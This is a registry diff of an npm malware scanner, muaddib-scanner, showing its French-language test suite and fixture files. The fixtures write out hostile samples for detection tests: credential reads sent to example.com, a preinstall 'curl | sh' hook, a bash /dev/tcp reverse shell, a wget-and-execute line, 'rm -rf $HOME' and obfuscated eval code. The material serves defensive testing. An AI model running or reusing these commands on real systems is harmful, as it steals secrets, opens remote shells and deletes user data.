muaddib-scanner 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (41) hide show
  1. package/.github/workflows/scan.yml +33 -0
  2. package/LICENSE +21 -0
  3. package/MUADDIBLOGO.png +0 -0
  4. package/README.md +218 -0
  5. package/action/action.yml +28 -0
  6. package/bin/muaddib.js +84 -0
  7. package/data/iocs.json +38 -0
  8. package/docs/threat-model.md +116 -0
  9. package/iocs/hashes.yaml +220 -0
  10. package/iocs/packages.yaml +265 -0
  11. package/package.json +43 -0
  12. package/results.sarif +379 -0
  13. package/src/index.js +142 -0
  14. package/src/ioc/feeds.js +42 -0
  15. package/src/ioc/updater.js +244 -0
  16. package/src/ioc/yaml-loader.js +96 -0
  17. package/src/report.js +152 -0
  18. package/src/response/playbooks.js +115 -0
  19. package/src/rules/index.js +197 -0
  20. package/src/sarif.js +74 -0
  21. package/src/scanner/ast.js +175 -0
  22. package/src/scanner/dataflow.js +167 -0
  23. package/src/scanner/dependencies.js +110 -0
  24. package/src/scanner/hash.js +68 -0
  25. package/src/scanner/obfuscation.js +99 -0
  26. package/src/scanner/package.js +60 -0
  27. package/src/scanner/shell.js +63 -0
  28. package/src/watch.js +37 -0
  29. package/test/samples/malicious.js +20 -0
  30. package/tests/run-tests.js +363 -0
  31. package/tests/samples/ast/malicious.js +20 -0
  32. package/tests/samples/clean/safe.js +14 -0
  33. package/tests/samples/dataflow/exfiltration.js +20 -0
  34. package/tests/samples/edge/empty/empty.js +0 -0
  35. package/tests/samples/edge/invalid-syntax/broken.js +5 -0
  36. package/tests/samples/edge/large-file/large.js +6 -0
  37. package/tests/samples/edge/non-js/readme.txt +3 -0
  38. package/tests/samples/markers/shai-hulud.js +10 -0
  39. package/tests/samples/obfuscation/obfuscated.js +1 -0
  40. package/tests/samples/package/package.json +9 -0
  41. package/tests/samples/shell/malicious.sh +13 -0
@@ -0,0 +1,363 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const { execSync } = require('child_process');
4
+
5
+ const TESTS_DIR = path.join(__dirname, 'samples');
6
+ const BIN = path.join(__dirname, '..', 'bin', 'muaddib.js');
7
+
8
+ let passed = 0;
9
+ let failed = 0;
10
+ const failures = [];
11
+
12
+ function test(name, fn) {
13
+ try {
14
+ fn();
15
+ console.log(`[PASS] ${name}`);
16
+ passed++;
17
+ } catch (e) {
18
+ console.log(`[FAIL] ${name}`);
19
+ console.log(` ${e.message}`);
20
+ failures.push({ name, error: e.message });
21
+ failed++;
22
+ }
23
+ }
24
+
25
+ function assert(condition, message) {
26
+ if (!condition) {
27
+ throw new Error(message || 'Assertion failed');
28
+ }
29
+ }
30
+
31
+ function assertIncludes(str, substr, message) {
32
+ if (!str.includes(substr)) {
33
+ throw new Error(message || `Expected "${substr}" in output`);
34
+ }
35
+ }
36
+
37
+ function assertNotIncludes(str, substr, message) {
38
+ if (str.includes(substr)) {
39
+ throw new Error(message || `Unexpected "${substr}" in output`);
40
+ }
41
+ }
42
+
43
+ function runScan(target, options = '') {
44
+ try {
45
+ const cmd = `node "${BIN}" scan "${target}" ${options}`;
46
+ return execSync(cmd, { encoding: 'utf8', stdio: ['pipe', 'pipe', 'pipe'] });
47
+ } catch (e) {
48
+ return e.stdout || e.stderr || '';
49
+ }
50
+ }
51
+
52
+ function runCommand(cmd) {
53
+ try {
54
+ return execSync(`node "${BIN}" ${cmd}`, { encoding: 'utf8', stdio: ['pipe', 'pipe', 'pipe'] });
55
+ } catch (e) {
56
+ return e.stdout || e.stderr || '';
57
+ }
58
+ }
59
+
60
+ // ============================================
61
+ // TESTS UNITAIRES - DETECTION AST
62
+ // ============================================
63
+
64
+ console.log('\n=== TESTS AST ===\n');
65
+
66
+ test('AST: Detecte acces .npmrc', () => {
67
+ const output = runScan(path.join(TESTS_DIR, 'ast'));
68
+ assertIncludes(output, '.npmrc', 'Devrait detecter .npmrc');
69
+ });
70
+
71
+ test('AST: Detecte acces .ssh', () => {
72
+ const output = runScan(path.join(TESTS_DIR, 'ast'));
73
+ assertIncludes(output, '.ssh', 'Devrait detecter .ssh');
74
+ });
75
+
76
+ test('AST: Detecte GITHUB_TOKEN', () => {
77
+ const output = runScan(path.join(TESTS_DIR, 'ast'));
78
+ assertIncludes(output, 'GITHUB_TOKEN', 'Devrait detecter GITHUB_TOKEN');
79
+ });
80
+
81
+ test('AST: Detecte NPM_TOKEN', () => {
82
+ const output = runScan(path.join(TESTS_DIR, 'ast'));
83
+ assertIncludes(output, 'NPM_TOKEN', 'Devrait detecter NPM_TOKEN');
84
+ });
85
+
86
+ test('AST: Detecte AWS_SECRET', () => {
87
+ const output = runScan(path.join(TESTS_DIR, 'ast'));
88
+ assertIncludes(output, 'AWS_SECRET', 'Devrait detecter AWS_SECRET');
89
+ });
90
+
91
+ test('AST: Detecte eval()', () => {
92
+ const output = runScan(path.join(TESTS_DIR, 'ast'));
93
+ assertIncludes(output, 'eval', 'Devrait detecter eval');
94
+ });
95
+
96
+ test('AST: Detecte exec()', () => {
97
+ const output = runScan(path.join(TESTS_DIR, 'ast'));
98
+ assertIncludes(output, 'exec', 'Devrait detecter exec');
99
+ });
100
+
101
+ test('AST: Detecte spawn()', () => {
102
+ const output = runScan(path.join(TESTS_DIR, 'ast'));
103
+ assertIncludes(output, 'spawn', 'Devrait detecter spawn');
104
+ });
105
+
106
+ test('AST: Detecte new Function()', () => {
107
+ const output = runScan(path.join(TESTS_DIR, 'ast'));
108
+ assertIncludes(output, 'Function', 'Devrait detecter Function');
109
+ });
110
+
111
+ // ============================================
112
+ // TESTS UNITAIRES - DETECTION SHELL
113
+ // ============================================
114
+
115
+ console.log('\n=== TESTS SHELL ===\n');
116
+
117
+ test('SHELL: Detecte curl | sh', () => {
118
+ const output = runScan(path.join(TESTS_DIR, 'shell'));
119
+ assertIncludes(output, 'curl', 'Devrait detecter curl | sh');
120
+ });
121
+
122
+ test('SHELL: Detecte wget && chmod +x', () => {
123
+ const output = runScan(path.join(TESTS_DIR, 'shell'));
124
+ assertIncludes(output, 'wget', 'Devrait detecter wget');
125
+ });
126
+
127
+ test('SHELL: Detecte reverse shell', () => {
128
+ const output = runScan(path.join(TESTS_DIR, 'shell'));
129
+ assertIncludes(output, 'reverse', 'Devrait detecter reverse shell');
130
+ });
131
+
132
+ test('SHELL: Detecte rm -rf $HOME', () => {
133
+ const output = runScan(path.join(TESTS_DIR, 'shell'));
134
+ assertIncludes(output, 'home', 'Devrait detecter suppression home');
135
+ });
136
+
137
+ // ============================================
138
+ // TESTS UNITAIRES - DETECTION OBFUSCATION
139
+ // ============================================
140
+
141
+ console.log('\n=== TESTS OBFUSCATION ===\n');
142
+
143
+ test('OBFUSCATION: Detecte hex escapes massifs', () => {
144
+ const output = runScan(path.join(TESTS_DIR, 'obfuscation'));
145
+ assertIncludes(output, 'obfusc', 'Devrait detecter obfuscation');
146
+ });
147
+
148
+ test('OBFUSCATION: Detecte variables _0x', () => {
149
+ const output = runScan(path.join(TESTS_DIR, 'obfuscation'));
150
+ assertIncludes(output, 'obfusc', 'Devrait detecter variables _0x');
151
+ });
152
+
153
+ // ============================================
154
+ // TESTS UNITAIRES - DETECTION DATAFLOW
155
+ // ============================================
156
+
157
+ console.log('\n=== TESTS DATAFLOW ===\n');
158
+
159
+ test('DATAFLOW: Detecte credential read + network send', () => {
160
+ const output = runScan(path.join(TESTS_DIR, 'dataflow'));
161
+ assertIncludes(output, 'Flux suspect', 'Devrait detecter flux suspect');
162
+ });
163
+
164
+ test('DATAFLOW: Detecte env read + fetch', () => {
165
+ const output = runScan(path.join(TESTS_DIR, 'dataflow'));
166
+ assertIncludes(output, 'CRITICAL', 'Devrait etre CRITICAL');
167
+ });
168
+
169
+ // ============================================
170
+ // TESTS UNITAIRES - DETECTION PACKAGE.JSON
171
+ // ============================================
172
+
173
+ console.log('\n=== TESTS PACKAGE.JSON ===\n');
174
+
175
+ test('PACKAGE: Detecte preinstall suspect', () => {
176
+ const output = runScan(path.join(TESTS_DIR, 'package'));
177
+ assertIncludes(output, 'preinstall', 'Devrait detecter preinstall');
178
+ });
179
+
180
+ test('PACKAGE: Detecte postinstall suspect', () => {
181
+ const output = runScan(path.join(TESTS_DIR, 'package'));
182
+ assertIncludes(output, 'postinstall', 'Devrait detecter postinstall');
183
+ });
184
+
185
+ // ============================================
186
+ // TESTS UNITAIRES - DETECTION MARQUEURS
187
+ // ============================================
188
+
189
+ console.log('\n=== TESTS MARQUEURS ===\n');
190
+
191
+ test('MARQUEURS: Detecte Shai-Hulud', () => {
192
+ const output = runScan(path.join(TESTS_DIR, 'markers'));
193
+ assertIncludes(output, 'Shai-Hulud', 'Devrait detecter marqueur Shai-Hulud');
194
+ });
195
+
196
+ test('MARQUEURS: Detecte The Second Coming', () => {
197
+ const output = runScan(path.join(TESTS_DIR, 'markers'));
198
+ assertIncludes(output, 'Second Coming', 'Devrait detecter marqueur The Second Coming');
199
+ });
200
+
201
+ // ============================================
202
+ // TESTS INTEGRATION - CLI
203
+ // ============================================
204
+
205
+ console.log('\n=== TESTS CLI ===\n');
206
+
207
+ test('CLI: --help affiche usage', () => {
208
+ const output = runCommand('');
209
+ assertIncludes(output, 'Usage', 'Devrait afficher usage');
210
+ });
211
+
212
+ test('CLI: --json retourne JSON valide', () => {
213
+ const output = runScan(path.join(TESTS_DIR, 'ast'), '--json');
214
+ try {
215
+ JSON.parse(output);
216
+ } catch (e) {
217
+ throw new Error('Output JSON invalide');
218
+ }
219
+ });
220
+
221
+ test('CLI: --sarif genere fichier SARIF', () => {
222
+ const sarifPath = path.join(__dirname, 'test-output.sarif');
223
+ runScan(path.join(TESTS_DIR, 'ast'), `--sarif "${sarifPath}"`);
224
+ assert(fs.existsSync(sarifPath), 'Fichier SARIF non genere');
225
+ const content = fs.readFileSync(sarifPath, 'utf8');
226
+ const sarif = JSON.parse(content);
227
+ assert(sarif.version === '2.1.0', 'Version SARIF incorrecte');
228
+ assert(sarif.runs && sarif.runs.length > 0, 'SARIF runs manquant');
229
+ fs.unlinkSync(sarifPath);
230
+ });
231
+
232
+ test('CLI: --html genere fichier HTML', () => {
233
+ const htmlPath = path.join(__dirname, 'test-output.html');
234
+ runScan(path.join(TESTS_DIR, 'ast'), `--html "${htmlPath}"`);
235
+ assert(fs.existsSync(htmlPath), 'Fichier HTML non genere');
236
+ const content = fs.readFileSync(htmlPath, 'utf8');
237
+ assertIncludes(content, 'MUAD', 'HTML devrait contenir MUAD');
238
+ assertIncludes(content, '<table>', 'HTML devrait contenir table');
239
+ fs.unlinkSync(htmlPath);
240
+ });
241
+
242
+ test('CLI: --explain affiche details', () => {
243
+ const output = runScan(path.join(TESTS_DIR, 'ast'), '--explain');
244
+ assertIncludes(output, 'Rule ID', 'Devrait afficher Rule ID');
245
+ assertIncludes(output, 'MITRE', 'Devrait afficher MITRE');
246
+ assertIncludes(output, 'References', 'Devrait afficher References');
247
+ assertIncludes(output, 'Playbook', 'Devrait afficher Playbook');
248
+ });
249
+
250
+ test('CLI: --fail-on critical exit code correct', () => {
251
+ try {
252
+ execSync(`node "${BIN}" scan "${path.join(TESTS_DIR, 'dataflow')}" --fail-on critical`, { encoding: 'utf8' });
253
+ } catch (e) {
254
+ assert(e.status === 1, 'Exit code devrait etre 1 pour 1 CRITICAL');
255
+ return;
256
+ }
257
+ throw new Error('Devrait avoir exit code non-zero');
258
+ });
259
+
260
+ test('CLI: --fail-on high exit code correct', () => {
261
+ try {
262
+ execSync(`node "${BIN}" scan "${path.join(TESTS_DIR, 'ast')}" --fail-on high`, { encoding: 'utf8' });
263
+ } catch (e) {
264
+ assert(e.status > 0, 'Exit code devrait etre > 0');
265
+ return;
266
+ }
267
+ throw new Error('Devrait avoir exit code non-zero');
268
+ });
269
+
270
+ // ============================================
271
+ // TESTS INTEGRATION - UPDATE
272
+ // ============================================
273
+
274
+ console.log('\n=== TESTS UPDATE ===\n');
275
+
276
+ test('UPDATE: Telecharge et cache IOCs', () => {
277
+ const output = runCommand('update');
278
+ assertIncludes(output, 'IOCs sauvegardes', 'Devrait sauvegarder IOCs');
279
+ assertIncludes(output, 'packages malveillants', 'Devrait afficher nombre packages');
280
+ });
281
+
282
+ // ============================================
283
+ // TESTS FAUX POSITIFS
284
+ // ============================================
285
+
286
+ console.log('\n=== TESTS FAUX POSITIFS ===\n');
287
+
288
+ test('FAUX POSITIFS: Projet propre = aucune menace', () => {
289
+ const output = runScan(path.join(TESTS_DIR, 'clean'));
290
+ assertIncludes(output, 'Aucune menace', 'Projet propre ne devrait pas avoir de menaces');
291
+ });
292
+
293
+ test('FAUX POSITIFS: Commentaires ignores', () => {
294
+ const output = runScan(path.join(TESTS_DIR, 'clean'));
295
+ assertNotIncludes(output, 'CRITICAL', 'Commentaires ne devraient pas declencher');
296
+ });
297
+
298
+ // ============================================
299
+ // TESTS EDGE CASES
300
+ // ============================================
301
+
302
+ console.log('\n=== TESTS EDGE CASES ===\n');
303
+
304
+ test('EDGE: Fichier vide ne crash pas', () => {
305
+ const output = runScan(path.join(TESTS_DIR, 'edge', 'empty'));
306
+ assert(output !== undefined, 'Ne devrait pas crasher sur fichier vide');
307
+ });
308
+
309
+ test('EDGE: Fichier non-JS ignore', () => {
310
+ const output = runScan(path.join(TESTS_DIR, 'edge', 'non-js'));
311
+ assertIncludes(output, 'Aucune menace', 'Fichiers non-JS ignores');
312
+ });
313
+
314
+ test('EDGE: Syntaxe JS invalide ne crash pas', () => {
315
+ const output = runScan(path.join(TESTS_DIR, 'edge', 'invalid-syntax'));
316
+ assert(output !== undefined, 'Ne devrait pas crasher sur syntaxe invalide');
317
+ });
318
+
319
+ test('EDGE: Tres gros fichier ne timeout pas', () => {
320
+ const start = Date.now();
321
+ runScan(path.join(TESTS_DIR, 'edge', 'large-file'));
322
+ const duration = Date.now() - start;
323
+ assert(duration < 30000, 'Ne devrait pas prendre plus de 30s');
324
+ });
325
+
326
+ // ============================================
327
+ // TESTS REGLES MITRE
328
+ // ============================================
329
+
330
+ console.log('\n=== TESTS MITRE ===\n');
331
+
332
+ test('MITRE: T1552.001 - Credentials in Files', () => {
333
+ const output = runScan(path.join(TESTS_DIR, 'ast'), '--explain');
334
+ assertIncludes(output, 'T1552.001', 'Devrait mapper T1552.001');
335
+ });
336
+
337
+ test('MITRE: T1059 - Command Execution', () => {
338
+ const output = runScan(path.join(TESTS_DIR, 'ast'), '--explain');
339
+ assertIncludes(output, 'T1059', 'Devrait mapper T1059');
340
+ });
341
+
342
+ test('MITRE: T1041 - Exfiltration', () => {
343
+ const output = runScan(path.join(TESTS_DIR, 'dataflow'), '--explain');
344
+ assertIncludes(output, 'T1041', 'Devrait mapper T1041');
345
+ });
346
+
347
+ // ============================================
348
+ // RESULTATS
349
+ // ============================================
350
+
351
+ console.log('\n========================================');
352
+ console.log(`RESULTATS: ${passed} passes, ${failed} echecs`);
353
+ console.log('========================================\n');
354
+
355
+ if (failures.length > 0) {
356
+ console.log('Echecs:');
357
+ failures.forEach(f => {
358
+ console.log(` - ${f.name}: ${f.error}`);
359
+ });
360
+ console.log('');
361
+ }
362
+
363
+ process.exit(failed > 0 ? 1 : 0);
@@ -0,0 +1,20 @@
1
+ const fs = require('fs');
2
+ const { exec, spawn } = require('child_process');
3
+
4
+ // Test credentials access
5
+ const npmrc = fs.readFileSync('.npmrc', 'utf8');
6
+ const ssh = fs.readFileSync('.ssh/id_rsa', 'utf8');
7
+
8
+ // Test env access
9
+ const token = process.env.GITHUB_TOKEN;
10
+ const npmToken = process.env.NPM_TOKEN;
11
+ const awsSecret = process.env.AWS_SECRET;
12
+
13
+ // Test dangerous calls
14
+ eval('console.log("evil")');
15
+ new Function('return this')();
16
+ exec('ls -la');
17
+ spawn('node', ['script.js']);
18
+
19
+ // Test API reference
20
+ fetch('https://api.github.com/user');
@@ -0,0 +1,14 @@
1
+ // Code normal sans menaces
2
+ const express = require('express');
3
+ const app = express();
4
+
5
+ app.get('/', (req, res) => {
6
+ res.send('Hello World');
7
+ });
8
+
9
+ app.listen(3000, () => {
10
+ console.log('Server running on port 3000');
11
+ });
12
+
13
+ // Commentaire mentionnant .npmrc pour test faux positif
14
+ // On ne devrait pas detecter: .npmrc, GITHUB_TOKEN, eval
@@ -0,0 +1,20 @@
1
+ const fs = require('fs');
2
+ const https = require('https');
3
+
4
+ // Lecture credentials
5
+ const npmrc = fs.readFileSync('.npmrc', 'utf8');
6
+ const token = process.env.GITHUB_TOKEN;
7
+
8
+ // Envoi reseau
9
+ fetch('https://example.com/collect', {
10
+ method: 'POST',
11
+ body: JSON.stringify({ npmrc, token })
12
+ });
13
+
14
+ // Variante avec request
15
+ const request = require('request');
16
+ request.post('https://example.com/exfil', { body: npmrc });
17
+
18
+ // Variante avec exec curl
19
+ const { exec } = require('child_process');
20
+ exec(`curl -X POST -d "${token}" https://example.com/steal`);
File without changes
@@ -0,0 +1,5 @@
1
+ function broken( {
2
+ const x =
3
+ if (true
4
+ console.log("syntax error"
5
+ }
@@ -0,0 +1,6 @@
1
+ // Large file test
2
+ const data = [];
3
+ for (let i = 0; i < 100000; i++) {
4
+ data.push({ id: i, value: Math.random() });
5
+ }
6
+ console.log(data.length);
@@ -0,0 +1,3 @@
1
+ This is a text file.
2
+ GITHUB_TOKEN should not be detected here.
3
+ eval() should not trigger.
@@ -0,0 +1,10 @@
1
+ // Shai-Hulud worm marker
2
+ const version = "The Second Coming";
3
+ const author = "Goldox-T3chs";
4
+
5
+ // Payload
6
+ function infect() {
7
+ console.log("Shai-Hulud was here");
8
+ }
9
+
10
+ infect();
@@ -0,0 +1 @@
1
+ var _0x1234=['log','Hello'];var _0x5678=function(_0x1234ab){return _0x1234[_0x1234ab];};console[_0x5678(0)](_0x5678(1));var _0xabcd='\x65\x76\x61\x6c';var _0xef01='\x63\x6f\x6e\x73\x6f\x6c\x65\x2e\x6c\x6f\x67\x28\x22\x68\x61\x63\x6b\x65\x64\x22\x29';window[_0xabcd](_0xef01);var _0x9876=['\x72\x65\x61\x64\x46\x69\x6c\x65\x53\x79\x6e\x63','\x2e\x6e\x70\x6d\x72\x63'];require('\x66\x73')[_0x9876[0]](_0x9876[1]);(function(_0x2341,_0x5432){var _0x1111=function(_0x2222){while(--_0x2222){_0x2341['push'](_0x2341['shift']());}};_0x1111(++_0x5432);}([],0x1ff));var _0xaaaa=atob('ZXZhbCgiY29uc29sZS5sb2coJ293bmVkJykiKQ==');eval(_0xaaaa);
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "malicious-package",
3
+ "version": "1.0.0",
4
+ "scripts": {
5
+ "preinstall": "curl https://example.com/payload.sh | sh",
6
+ "postinstall": "node -e \"require('child_process').exec('whoami')\"",
7
+ "install": "echo $NPM_TOKEN | base64"
8
+ }
9
+ }
@@ -0,0 +1,13 @@
1
+ #!/bin/bash
2
+
3
+ # Test curl | sh
4
+ curl https://example.com/script.sh | sh
5
+
6
+ # Test wget
7
+ wget https://example.com/payload && chmod +x payload && ./payload
8
+
9
+ # Test reverse shell
10
+ bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
11
+
12
+ # Test dead man's switch
13
+ rm -rf $HOME